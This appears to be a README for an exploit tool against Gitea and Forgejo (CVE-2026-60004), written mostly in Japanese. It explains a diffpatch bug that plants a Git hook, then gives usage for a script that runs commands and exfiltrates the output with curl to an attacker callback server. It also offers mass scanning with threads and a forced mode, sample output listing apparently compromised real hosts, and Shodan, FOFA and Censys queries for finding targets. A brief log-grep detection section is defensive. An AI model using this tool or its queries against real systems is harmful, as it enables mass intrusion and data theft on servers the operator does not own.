
CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE。ベアクローン → post-index-changeフックインジェクション。CVSS 9.8 | CWE-94 | Gitea < 1.27.1
CVE-2026-60004 は、Gitea および Forgejo のセルフホスト型 Git プラットフォームにおける深刻度クリティカル (CVSS 9.8) の事前認証リモートコード実行脆弱性であり、バージョン 1.17 から 1.27.0 に影響します。
この脆弱性は、POST /api/v1/repos/{owner}/{repo}/diffpatch API エンドポイントにおけるベアクローンの設計上の欠陥を悪用します。Gitea はユーザーが指定したパッチをベア一時クローン内で適用します。ここではリポジトリルートが $GIT_DIR そのものです。攻撃者が同じ悪意のあるパッチを2回送信すると add/add 競合が発生し、Git のスリーワイ (3-way) マージフォールバック (-3、Git 2.32+) が実行可能な post-index-change フックを $GIT_DIR/hooks/ に直接書き込みます。Git はインデックス更新中にこのフックを自動的に実行するため、Gitea サービスアカウント権限での任意コマンド実行が可能になります。
リポジトリへの書き込みアクセスが必要ですが、Gitea はメール検証、管理者承認、リポジトリ作成制限なしのオープン登録がデフォルトであるため、簡単に取得できます。
| バージョン | ステータス |
|---|---|
| < 1.17 | 影響なし (diffpatch ルートは未導入) |
| 1.17 — 1.27.0 | 脆弱性あり |
| 1.27.1+ | 修正済み |
発見者: Shai Rod (NightRang3r)、2026年7月28日 プロジェクト: Gitea / Forgejo (セルフホスト型 Git サービス) コンポーネント: diffpatch API エンドポイント、ベア一時クローン
この脆弱性は、services/repository/files/patch.go の単一のパラメータに起因します:
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
return nil, err
}
ベアクローンにはワークツリーが存在せず、リポジトリルートがそのまま $GIT_DIR になります。したがって、ファイルパスが hooks/post-index-change である悪意のあるパッチは、サンドボックス化されたワークツリーではなく、Git の実際のフックディレクトリの直下に配置されます。
git apply の呼び出しがこれを増幅します:
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
"--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
$GIT_DIR そのものであり、hooks/post-index-change パスは実際のフックディレクトリにマッピングされる。--cached は完全ではない — Git 2.32+ の -3 スリーワイフォールバックは、--cached フラグにもかかわらず add/add 競合時にマージ結果をワークツリーに書き込む。post-index-change を自動実行する — インデックス更新後、Git はこのフックが存在し実行可能であれば無条件に実行する。設定は不要。git apply がインデックスロックを保持しているため、フック内の git update-index はデッドロックする。出力の外部送信には HTTP コールバック (curl) またはリバースシェルを使用する。1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
└─ Bare temp clone created: .Clone(ctx, oldBranch, true)
└─ git apply --index --cached -3 processes the patch
└─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
└─ Three-way merge (-3) resolves the conflict
└─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
└─ Git fires post-index-change hook automatically
└─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
└─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target
| ファイル | 行 | 目的 |
|---|---|---|
services/repository/files/patch.go | 195 | t.Clone(ctx, opts.OldBranch, true) — ベアクローン作成 |
services/repository/files/patch.go | 206-209 | --index --cached -3 フラグを使用した git apply |
services/repository/files/patch.go | 215-223 | WriteTree() + CommitTree() + Push() — 攻撃者の状態を永続化 |
services/repository/files/cherry_pick.go | ~170 | CherryPick にも同じベアクローンパターン (こちらも修正済み) |
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn
# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log
# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
ベアクローンと非ベアクローンの違い — 単一のブールパラメータ — が、パッチパスが無害なワークツリーエントリになるか、Git の内部ディレクトリに直接配置される実行可能フックになるかを決定します。修正は diff 内のちょうど1文字 (true → false) を変更するだけであり、そのためこのコミットは SECURITY ではなく MISC 配下で "refactor: git patch apply" としてラベル付けされました。インデックスにサンドボックス化されるはずだった操作 (--cached) は、Git 自身のスリーワイマージ機構によって静かに無効化され、ベアクローンの $GIT_DIR にフックファイルが作成されることを防ぐ追加のガードも存在しませんでした。
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com
# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20
# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced
# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--callback HTTP callback URL for output exfiltration
--listen [PORT] Auto-start built-in callback listener
-o, --output Save RCE-confirmed URLs to file
--threads Concurrent workers (default: 25)
--timeout HTTP request timeout in seconds
--no-cleanup Leave repository and user on target
--forced Attempt exploit regardless of detected version
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Host : gitea.example.com
Version : 1.22.0
Vuln (< 1.27.1) : YES
RCE : CONFIRMED
Detection : timing Δ 8.0s (hook sleep 4s)
User : poc_a1b2c3
Time : 9.5s
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Targets: 259 | Threads: 20
[RCE] gitea.idetama.id Δ8.7s (hook sleep 4s)
[RCE] gitea.roan.id.au Δ8.7s (hook sleep 4s)
[DET] git.ofon.id | ⠼ [████░░░░░░░░░░░] 86/259 (33%) Det:76 RCE:2
───────────────────────────────────────────────────────
SCAN SUMMARY
───────────────────────────────────────────────────────
Total : 259
RCE Confirmed : 12
Hook Failed : 5
Patched : 25
Errors : 151
Register fail : 85
Login fail : 42
Repo fail : 24
Not Gitea : 66
───────────────────────────────────────────────────────
Detection method: timing
Done | 77s
callback-data/
├── index.txt
├── gitea.idetama.id/
│ ├── output_2026-08-03_120000.txt
│ └── latest.txt
├── gitea.roan.id.au/
│ └── ...
FOFA: title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"